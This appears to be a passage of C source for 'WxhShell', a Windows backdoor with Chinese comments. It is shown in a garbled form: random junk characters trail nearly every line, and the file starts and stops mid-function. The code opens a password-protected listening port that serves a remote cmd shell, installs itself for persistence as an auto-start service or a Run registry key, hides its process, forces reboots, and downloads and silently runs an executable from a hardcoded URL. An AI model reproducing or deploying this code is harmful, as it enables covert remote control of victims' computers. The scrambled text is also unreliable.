    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .|iUDp6vz  
    if(Boot(SHUTDOWN)) T-<^mX[}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$|+H"g|  
    else { -u8@ .  
    closesocket(wsh); ?B h}  
    ExitThread(0); ~t#'X8.)  
    } [r]USCq  
    break; 9Ft)VX  
    } 59EAqz[:  
  // 获取shell o'H$g%  
  case 's': { oh:t ex<  
    CmdShell(wsh); z<AQ;b  
    closesocket(wsh); QQrvT,]  
    ExitThread(0); WP}__1!%u  
    break; 4Y-9W2s  
  } o +aB[+  
  // 退出 qrt+{5/t  
  case 'x': { H;$w^Tr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5[Q44$a{  
    CloseIt(wsh); :uI}"Bp  
    break; N%Lh_2EzqV  
    } F htf4  
  // 离开 9_TZ;e  
  case 'q': { O#k?c }  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e7hPIG  
    closesocket(wsh); <BO|.(ys  
    WSACleanup(); ;dB=/U>3U  
    exit(1); ~xHr/:  
    break; xQmk2S` y  
        } Kvk;D ]$  
  } if `/LJsa  
  } :$9 4y{  
nQ/ha9v=n  
  // 提示信息 kB~ :HQf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XPY66VC&_  
} G1P m!CM=  
  } k@wT,?kD  
9Y/c<gbY  
  return; HVk3F| ]V  
} I/Vlw-  
<p<gx*%  
// shell模块句柄 _$, .NK,6  
int CmdShell(SOCKET sock) $'&`k,a3|P  
{ bBDgyFSI <  
STARTUPINFO si; u' r ;-|7  
ZeroMemory(&si,sizeof(si)); [IHT)%>E8&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IWMqmCbv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @<w$QD  
PROCESS_INFORMATION ProcessInfo; V;)'FJ)]  
char cmdline[]="cmd"; =-vk}O0C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "3\)@  
  return 0; 'x!q*|zF2  
} 9VP|a-  
|Yk23\!  
// 自身启动模式 Yq2 mVo  
int StartFromService(void) XKR?vr7A2  
{ ;APg!5X  
typedef struct \l]jX: 9(  
{ ;Y)?6^"  
  DWORD ExitStatus; Z 4t9q`}h  
  DWORD PebBaseAddress; "E'OP R  
  DWORD AffinityMask; Xbap' /t  
  DWORD BasePriority; <rCl  
  ULONG UniqueProcessId; YjsaTdZ!&  
  ULONG InheritedFromUniqueProcessId;  _@d.wfM  
}   PROCESS_BASIC_INFORMATION; !E$S&zVMQ  
*1>XlVx,  
PROCNTQSIP NtQueryInformationProcess; a?D\H5TF-  
5g/WQo\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D6v0n6w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 57HMWlg  
*emUQ/uvf  
  HANDLE             hProcess; P~]BB.tog  
  PROCESS_BASIC_INFORMATION pbi; !'PPj_Hp]  
O81})r*Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w|RG  
  if(NULL == hInst ) return 0; 4>, <b1Y  
S&]JY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QtX ->6P>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .11iulQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U2SxRFs >  
HPU7 `b4  
  if (!NtQueryInformationProcess) return 0; 7dW9i7Aj  
) d\Se9!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dnN"  
  if(!hProcess) return 0; JQ.ZAhv  
nYE_WXY3V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8LiRZ"  
43 |zjE  
  CloseHandle(hProcess); Oj<2_u  
Ujw ^j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \DfvNeF  
if(hProcess==NULL) return 0; Gz6FwU8L  
){gOb  
HMODULE hMod; VS 8|lgQ  
char procName[255];  {kmaMP  
unsigned long cbNeeded; )"f>cYF  
Q&n|tQ*4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iv56zsR  
KiCZEA  
  CloseHandle(hProcess); 2-{8+*_'  
JU"!qXQr  
if(strstr(procName,"services")) return 1; // 以服务启动 bC)<AG@Z\  
C#vh2'  
  return 0; // 注册表启动 FUHa"$Bg  
} jMd's|#OP  
v&uIxFCR  
// 主模块 JRl8S   
int StartWxhshell(LPSTR lpCmdLine) ayC*n'  
{ v[HxO?x^  
  SOCKET wsl; .8wR;^  
BOOL val=TRUE; *rW]HNz  
  int port=0; "\> <UJ  
  struct sockaddr_in door; )Hw;{5p@  
[q_Yf!(m-  
  if(wscfg.ws_autoins) Install(); ~6@~fhu  
auS$B %  
port=atoi(lpCmdLine); ?VReKv1\  
f^0vkWI2  
if(port<=0) port=wscfg.ws_port; }3N8EmS  
lOZ.{0{f,  
  WSADATA data; A0&~U0*(~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  V+(  
)_+#yaC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c) 1m4SB@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '+-R 7#  
  door.sin_family = AF_INET; yqCy`TK8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y.mojx%?a  
  door.sin_port = htons(port); W+1V&a}E  
S0"O U0`N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ts)0+x  
closesocket(wsl); :X@;XEol~  
return 1; "I_3!Yu  
} \`4}h[  
DY,Sfh;tp  
  if(listen(wsl,2) == INVALID_SOCKET) { =.tsz.:c  
closesocket(wsl); @tp/0E?  
return 1; o#w6]Fmc  
} v "oO  
  Wxhshell(wsl); #<se0CJB  
  WSACleanup(); +F 5Dc  
l`,`N+FG  
return 0; )vy<q/o+  
O|av(F9  
} KF7f<  
QmgwIz_  
// 以NT服务方式启动 2X6y^f';\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d6(qc< /!r  
{ IO,kP`Wcx  
DWORD   status = 0; 36lIV,YnU  
  DWORD   specificError = 0xfffffff; m,=$a\UC  
yP[GU| >(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (U-p&q>z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hWDgMmo7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V+D "_  
  serviceStatus.dwWin32ExitCode     = 0; >} aykz*g  
  serviceStatus.dwServiceSpecificExitCode = 0; >) 5rOU  
  serviceStatus.dwCheckPoint       = 0; _+^3<MT  
  serviceStatus.dwWaitHint       = 0; 4N#0w]_,>Y  
6x -PGq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a>s v  
  if (hServiceStatusHandle==0) return; V&GFGds  
)P|Ql-rE4  
status = GetLastError(); ]kc_wFT<  
  if (status!=NO_ERROR) b6Ntt Y!3  
{ 8N|*n"`}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u,oxUySeG  
    serviceStatus.dwCheckPoint       = 0; n1$##=wK]  
    serviceStatus.dwWaitHint       = 0; e {c.4'q  
    serviceStatus.dwWin32ExitCode     = status; #|$7. e  
    serviceStatus.dwServiceSpecificExitCode = specificError; oNiS"\t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !3T x\a`?/  
    return; %/U Q0d~b  
  } KAUYE^  
xD_jfAH'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2RM1-j ($  
  serviceStatus.dwCheckPoint       = 0; gqe z-  
  serviceStatus.dwWaitHint       = 0; 8V4Qyi|@F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c&R .  
} ~2"|4  
vtvr{Uqo@  
// 处理NT服务事件,比如:启动、停止 H|,{^b@9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A.<X78!^  
{ SSI&WZ2a  
switch(fdwControl) Ha 3XH_  
{ e348^S&rG  
case SERVICE_CONTROL_STOP: ZJw9 2Sb  
  serviceStatus.dwWin32ExitCode = 0; iJsw:Nc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R>Zn$%j\  
  serviceStatus.dwCheckPoint   = 0; 4.VEE~sH$  
  serviceStatus.dwWaitHint     = 0; a(}jn|  
  { _q8s 7H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FtF!Dtv  
  } =z@'vu$Fh  
  return; ^5GS !u"  
case SERVICE_CONTROL_PAUSE: t_j.@|/FZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;$0za]x  
  break; Sb{S^w\m0  
case SERVICE_CONTROL_CONTINUE: )6AOP-M.9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r Ssv^W+  
  break; k $+&  
case SERVICE_CONTROL_INTERROGATE: G\P*zz Sq  
  break; SQt$-<>4\  
}; s&fU|Jk8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,e>ugI_;*  
} ViVYyA  
gi"v$ {R  
// 标准应用程序主函数 B8IfE`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ 4&_$e!  
{ Cg&1  
+rql7D0st  
// 获取操作系统版本 B:^U~sR  
OsIsNt=GetOsVer(); bH,Jddc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Je?V']lm  
NgH%  
  // 从命令行安装 ob*2V! "  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~" $9auQtC  
,fYO>l';`f  
  // 下载执行文件 f0hi70\(X  
if(wscfg.ws_downexe) { m7!l3W2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7l:H~"9r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4Uwt--KtFh  
} E8-p ,e,  
TbX ZU$[c  
if(!OsIsNt) { zZE?G:isR  
// 如果时win9x,隐藏进程并且设置为注册表启动 -R\}Q"  
HideProc(); )s^XVs.-  
StartWxhshell(lpCmdLine); L\"=H4r  
} s5z@`M5'm  
else :;|x'[JoE?  
  if(StartFromService()) a~{St v  
  // 以服务方式启动 7,O^c +  
  StartServiceCtrlDispatcher(DispatchTable); oVsl,V  
else ! q1Ql18n  
  // 普通方式启动 {+`ep\.$&  
  StartWxhshell(lpCmdLine); XRNL;X%}7  
N;D+]_;0|  
return 0; X0=R @_KY  
} 'kUrSM'*$N  
$MsM$]~  
OPjscc5  
%M^bZ?  
=========================================== 8[y7(Xw  
zd;xbH//)b  
?j OpW1  
RP(FV<ot  
89 lPeFQ`  
o<!#1#n+:  
" pcEB-boI9  
?px x,o6l  
#include <stdio.h> Rdv"Aj:  
#include <string.h> [hiOFmMJZ-  
#include <windows.h> P0 89Mh9  
#include <winsock2.h> wYF)G;[wM  
#include <winsvc.h> dk3\~m%Pv  
#include <urlmon.h> dkVVvK  
L ~;_R*Th  
#pragma comment (lib, "Ws2_32.lib")  $hN!DHz  
#pragma comment (lib, "urlmon.lib") , D&FCs%v  
nF//y}  
#define MAX_USER   100 // 最大客户端连接数 =RV$8.Xp  
#define BUF_SOCK   200 // sock buffer @lBH@HR=C  
#define KEY_BUFF   255 // 输入 buffer F 'h[g.\}  
t>b^S,  
#define REBOOT     0   // 重启 Dljq  
#define SHUTDOWN   1   // 关机 DSIa3! 0  
{wMCo ,  
#define DEF_PORT   5000 // 监听端口 \ oL+O|  
, n EeI&  
#define REG_LEN     16   // 注册表键长度 \[8I5w-  
#define SVC_LEN     80   // NT服务名长度 Z> &PM06  
E*'O))  
// 从dll定义API p~e6ah?1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z2LG/R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {!EbGIh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \K)q$E<!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v/m6(z  
,Wdyg8&.  
// wxhshell配置信息 )^r4|WYyt  
struct WSCFG { D)!k  
  int ws_port;         // 监听端口 <Z0Tz6/j,  
  char ws_passstr[REG_LEN]; // 口令 iI _Fbw8  
  int ws_autoins;       // 安装标记, 1=yes 0=no nGuF, 0j  
  char ws_regname[REG_LEN]; // 注册表键名 WIhf*LF"  
  char ws_svcname[REG_LEN]; // 服务名 ?Dfgyz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W:tE ?Hu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g"#+U7O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h.8J6;36  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G[wa,j^hu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !WIL|\jbh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lvFHr}W  
&XZ>}^lD^  
}; QP qa\87  
XFX:) l#o  
// default Wxhshell configuration *F9uv)[kz  
struct WSCFG wscfg={DEF_PORT, 1Ju{IEV  
    "xuhuanlingzhe", I)sCWC:Mq~  
    1, )@sz\yI%U  
    "Wxhshell", +V0uH pm  
    "Wxhshell", fa!iQfr  
            "WxhShell Service", gmM79^CEF  
    "Wrsky Windows CmdShell Service", SWmdU]  
    "Please Input Your Password: ", `@:^(sMo  
  1, 4+uAd"  
  "http://www.wrsky.com/wxhshell.exe", ukPV nk  
  "Wxhshell.exe" zz$*upxK  
    }; 4f/8APA  
$QY(7Z"  
// 消息定义模块 '8W }|aF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1ITa6vjS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AFY;;_Xks  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IYrO;GQ  
char *msg_ws_ext="\n\rExit."; v0HFW%YJ^J  
char *msg_ws_end="\n\rQuit."; N8!B2uPQ  
char *msg_ws_boot="\n\rReboot..."; >=B8PK+<  
char *msg_ws_poff="\n\rShutdown..."; k!! o!rBS  
char *msg_ws_down="\n\rSave to "; 3_D$6/i  
0/*z]2  
char *msg_ws_err="\n\rErr!"; y6Rg@L&U  
char *msg_ws_ok="\n\rOK!"; +tOV+6Uz  
a{{([uZ  
char ExeFile[MAX_PATH]; N2~Nc"L  
int nUser = 0; XCk \#(VSE  
HANDLE handles[MAX_USER]; rv\<Q-uQ8  
int OsIsNt; } $OQw'L[  
 _@HMk"A  
SERVICE_STATUS       serviceStatus; _E?(cWC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W;o\}irep  
gjwp' GN  
// 函数声明 .m4K ]^m  
int Install(void); dvUJk<;w  
int Uninstall(void); jd$lu^>I  
int DownloadFile(char *sURL, SOCKET wsh); x0 j$]$  
int Boot(int flag); g#H#i~E^  
void HideProc(void); hd '!f  
int GetOsVer(void); 0z%]HlPg  
int Wxhshell(SOCKET wsl); 6>KDK<5NQ  
void TalkWithClient(void *cs); 3s$m0  
int CmdShell(SOCKET sock); -\r*D#aHBN  
int StartFromService(void); VpD9!;S  
int StartWxhshell(LPSTR lpCmdLine); N L~}  
O1-Ne.$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2.CI^.5&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gm_Cq2PD(  
4s3n|6v  
// 数据结构和表定义 VdYu| w ;v  
SERVICE_TABLE_ENTRY DispatchTable[] = I|08[ mO  
{ yA6"8fr  
{wscfg.ws_svcname, NTServiceMain}, K 0b(D8!  
{NULL, NULL} I*'QD)  
}; S=o Ab&  
j'v2m6/  
// 自我安装 i8EMjLBUR  
int Install(void) wG -X833\(  
{ zg"<N  
  char svExeFile[MAX_PATH]; 2pZ|+!xc+  
  HKEY key; ^[5yff 4  
  strcpy(svExeFile,ExeFile); ]"F0"UH,  
v k<By R  
// 如果是win9x系统,修改注册表设为自启动 ;ML21OjgN  
if(!OsIsNt) { O.!|;)HQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2#p6.4h=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rq+E"Uj?  
  RegCloseKey(key); )x8Izn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tEZ@v(D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A5 /Q:8b  
  RegCloseKey(key); $+ lc;N  
  return 0; #W* 5=Cf  
    } ++5So fG@  
  } 8 \%*4L'  
} bluhiiATd  
else { }Vk#w%EJ  
f%d7?<rw  
// 如果是NT以上系统,安装为系统服务 U%"v7G-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sJMT _yt;  
if (schSCManager!=0) ]iYjS  
{ td%EbxJK]`  
  SC_HANDLE schService = CreateService qm] k (/w  
  ( Y}ITA=L7  
  schSCManager, 2Fp.m}42i(  
  wscfg.ws_svcname, DzH1q r  
  wscfg.ws_svcdisp, b,~6cDU  
  SERVICE_ALL_ACCESS, "Q-TLN5(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c]#F^(-A`  
  SERVICE_AUTO_START, ub7|'+5  
  SERVICE_ERROR_NORMAL, /+iU1m'(  
  svExeFile, yB,$4:C  
  NULL, 4E<iIA\x  
  NULL, 6 [w_ /X"  
  NULL, D O#4E<]5  
  NULL, <4D.P2ct  
  NULL %^kBcId  
  ); |3QKxS0  
  if (schService!=0) A^*0{F?,)  
  { 48W$ ,  
  CloseServiceHandle(schService); k0Rd:DxO  
  CloseServiceHandle(schSCManager); %?@N-$j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g >u{H:  
  strcat(svExeFile,wscfg.ws_svcname); DTH;d-Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w<*6pP y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +VCG/J  
  RegCloseKey(key); #px74EeI\  
  return 0; y)CnH4{  
    } Hj2E-RwG  
  } 0 z.oPV@  
  CloseServiceHandle(schSCManager); 3E) X(WJY  
} &,JrhMr\  
} W0R<^5_  
..)O/g.  
return 1; aHuZzYQ*"j  
} bXmX@A$#Io  
a=]tqV_  
// 自我卸载 N7=lSBm  
int Uninstall(void) k><k|P[|  
{ MZZEqsD5[  
  HKEY key; l`>|XUf6  
Nb(c;|nV  
if(!OsIsNt) { !?#B*JGFS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CD]"Q1 t}  
  RegDeleteValue(key,wscfg.ws_regname); U9[QdC  
  RegCloseKey(key); Na=.LW-ma=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vz[oy|{F  
  RegDeleteValue(key,wscfg.ws_regname); mu@He&w"  
  RegCloseKey(key); @Fvp~]jCb  
  return 0; .!/w[Z]  
  } CC"}aV5  
} 9kZ[Z ,=>  
} ?d&l_Pa0e  
else { <$metN~9j  
Y=6569U2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `#Z=cq^_  
if (schSCManager!=0) 6&xpS9  
{ z0!k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b\^X1eo  
  if (schService!=0) 76epkiz;=  
  { %k3A`ClW  
  if(DeleteService(schService)!=0) { 5e1;m6  
  CloseServiceHandle(schService); f=:ycd!  
  CloseServiceHandle(schSCManager); "Tt5cqUQoY  
  return 0; PuO5@SP~  
  } w5Lev}Rb  
  CloseServiceHandle(schService); uW;[FTcqy$  
  } > oh7f|  
  CloseServiceHandle(schSCManager); &UrPb%=2H  
} \Hb"bv  
} S*PcK>  
bAOL<0RS9`  
return 1; @-zL"%%dw'  
} N_L~oX_  
_Fe%Ek1Yy  
// 从指定url下载文件 bbNN$-S|  
int DownloadFile(char *sURL, SOCKET wsh) 1z IX $A  
{ )IBvm1  
  HRESULT hr; -A1@a= q  
char seps[]= "/"; aN UU' [  
char *token; 8/gA]I 6=#  
char *file; )@(IhU )  
char myURL[MAX_PATH]; _"l2UDx  
char myFILE[MAX_PATH]; f^Io:V\  
t9l]ie{"o.  
strcpy(myURL,sURL); $Iz*W]B!  
  token=strtok(myURL,seps); 9 t8NK{  
  while(token!=NULL) @3*S:;x  
  { -qyhg-k6  
    file=token; |!m8JV|x  
  token=strtok(NULL,seps); db*yA@2Lg  
  } U\y:\+e l  
ly9tI-E  
GetCurrentDirectory(MAX_PATH,myFILE); ;}B6`v  
strcat(myFILE, "\\"); S/,)X  
strcat(myFILE, file); NdxPC~Z+  
  send(wsh,myFILE,strlen(myFILE),0); 6K7DZ96L  
send(wsh,"...",3,0); unvS`>)Np  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K&4FFZ  
  if(hr==S_OK) Wr+/ 9  
return 0; V |cPAT%  
else z"%{SI^  
return 1; zu_bno!  
_9f7@@b  
} yOTC>?p%  
D/)E[Fv+  
// 系统电源模块 0?,<7}"<X  
int Boot(int flag) dkWV/DAm  
{ 9ERyr1-u v  
  HANDLE hToken; l~ Hu#+O  
  TOKEN_PRIVILEGES tkp; x1`4hB  
"W^+NeLc  
  if(OsIsNt) { gT_tR_g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;UpdkY 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u u$Jwn!S  
    tkp.PrivilegeCount = 1; 9 ;Qgby  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <sTY<iVR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7S/\;DF  
if(flag==REBOOT) { yz7Fe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7u`:e,'  
  return 0; Og-v][  
} W"!{f  
else { hsAk7KC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sa?s[  
  return 0; f4;V7DJ  
} Z~AgZM R  
  } laRn![[  
  else { <5!)5+G  
if(flag==REBOOT) { uOAd$;h@_Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :z-?L0C=0  
  return 0; K%.t%)A_3  
} LGh#  
else { ;$vVYC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BU<Qp$ &  
  return 0; 7q&T2?GEN  
} zeshM8=  
} Q k2*=BVh  
nx Jx8d"  
return 1; f5z*AeI  
} 2)Q%lEm`SP  
;TKsAU  
// win9x进程隐藏模块 R8>17w.  
void HideProc(void) X`C ozyYuD  
{ ;w;+<Rd  
5mX"0a_Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T"DG$R,Aj  
  if ( hKernel != NULL ) $\#wsI(  
  { =5O&4G`}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :z`L)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W0S\g#  
    FreeLibrary(hKernel); +h? Gps  
  } ]u.)6{  
aJ J)ZP2+  
return; *XI- nH  
} )TcD-Jr  
^7Ebg5<  
// 获取操作系统版本  c`}YL4  
int GetOsVer(void) J ql$ g  
{ 4}t$Lf_  
  OSVERSIONINFO winfo; 79 \SbB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]P2Wa   
  GetVersionEx(&winfo); Wb5n> *  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N97WI+`  
  return 1; !jg< S>S5  
  else f3*SIKi  
  return 0; 8CUl |I ~  
} MSb0J`  
%<>|cO  
// 客户端句柄模块 F6ZL{2$k@  
int Wxhshell(SOCKET wsl) I K,aA;d  
{ /tJ%gF  
  SOCKET wsh; m0*_  
  struct sockaddr_in client; F!RP *  
  DWORD myID; &<Fw  
Ny$N5/b!!  
  while(nUser<MAX_USER) bwK1XlfD.s  
{ u)~::2BXAn  
  int nSize=sizeof(client); L2%npps  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); be]Zx`)k  
  if(wsh==INVALID_SOCKET) return 1; gWl49'S>+  
#.2} t0*]5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :Vrj[i-{  
if(handles[nUser]==0) ynn>d  
  closesocket(wsh); POQ4&ChA  
else 0KN'\KE  
  nUser++; BO>[\!=y  
  } v807)JwS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dF^`6-K1  
;m"R.Q9*  
  return 0; acI%fYw5p`  
} CtHsi8m  
fS4 Ru  
// 关闭 socket EdCcnl?R6  
void CloseIt(SOCKET wsh) SpM Hq_MLM  
{ 36d6KS 7  
closesocket(wsh); #Wt1Ph_;  
nUser--; ~"cqFdnO  
ExitThread(0); ,[u.5vC  
} ~,{nBp9*  
8*sP  
// 客户端请求句柄 ej[Y `N  
void TalkWithClient(void *cs) |iVw7M:  
{ +L pMNnl6  
Qv@)WJ="-0  
  SOCKET wsh=(SOCKET)cs; i+|/V&#3[  
  char pwd[SVC_LEN]; H6Kt^s<6xu  
  char cmd[KEY_BUFF]; Cp]q>lM"  
char chr[1]; G C@U['  
int i,j; (X|lK.W y  
npcL<$<6X  
  while (nUser < MAX_USER) { `o%Ua0x2  
6z5?9I4[  
if(wscfg.ws_passstr) { ~./M5P!\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (o8?j^ -v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @}tk/7-E  
  //ZeroMemory(pwd,KEY_BUFF); (Zu8WyT2  
      i=0; 9U!#Y%*T  
  while(i<SVC_LEN) { +?Y(6$o  
#rx@ 2zi  
  // 设置超时 Bz6Zy)&sAL  
  fd_set FdRead; B0!W=T\  
  struct timeval TimeOut; G:;(,  
  FD_ZERO(&FdRead); FD^s5>"Y+  
  FD_SET(wsh,&FdRead); mg *kB:p  
  TimeOut.tv_sec=8; %M-B"#OB7  
  TimeOut.tv_usec=0; ys9MV%*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Es+BV+x[.c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M!iYj+nrP  
88+J(^y>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r%II` i  
  pwd=chr[0]; CQ#%v%  
  if(chr[0]==0xd || chr[0]==0xa) { Q46sPMH+_  
  pwd=0; M9wj };vy  
  break; UzUt=s!^H  
  } X-5&c$hv  
  i++; zqb3<WP"  
    } WQ1*)h8,9  
^/jALA9!  
  // 如果是非法用户,关闭 socket } "AGX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XLFo"f  
} E#,n.U>#)  
B1 [O9U:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G `JXi/#`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3o^  oq  
+7bV  
while(1) { A@OSh6/{h  
G8F43!<  
  ZeroMemory(cmd,KEY_BUFF); TYgn X  
~f] I0FK  
      // 自动支持客户端 telnet标准   eX9H/&g  
  j=0; !e:HE/&>i  
  while(j<KEY_BUFF) { =#{i;CC%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *M()z.N  
  cmd[j]=chr[0]; b+mh9q'5E  
  if(chr[0]==0xa || chr[0]==0xd) { QP4`r#,  
  cmd[j]=0; Js!V,={iX  
  break; 30$Q5]T  
  } <@:LONe<  
  j++; BW%"]J  
    } f m'Qif q^  
#:M)a?E/%  
  // 下载文件 }5sJd>u5^  
  if(strstr(cmd,"http://")) { 3}X;WE `  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6WX+p3Kv  
  if(DownloadFile(cmd,wsh)) NQhlb"Ix  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~<w9a]  
  else K~aI Y0=<  
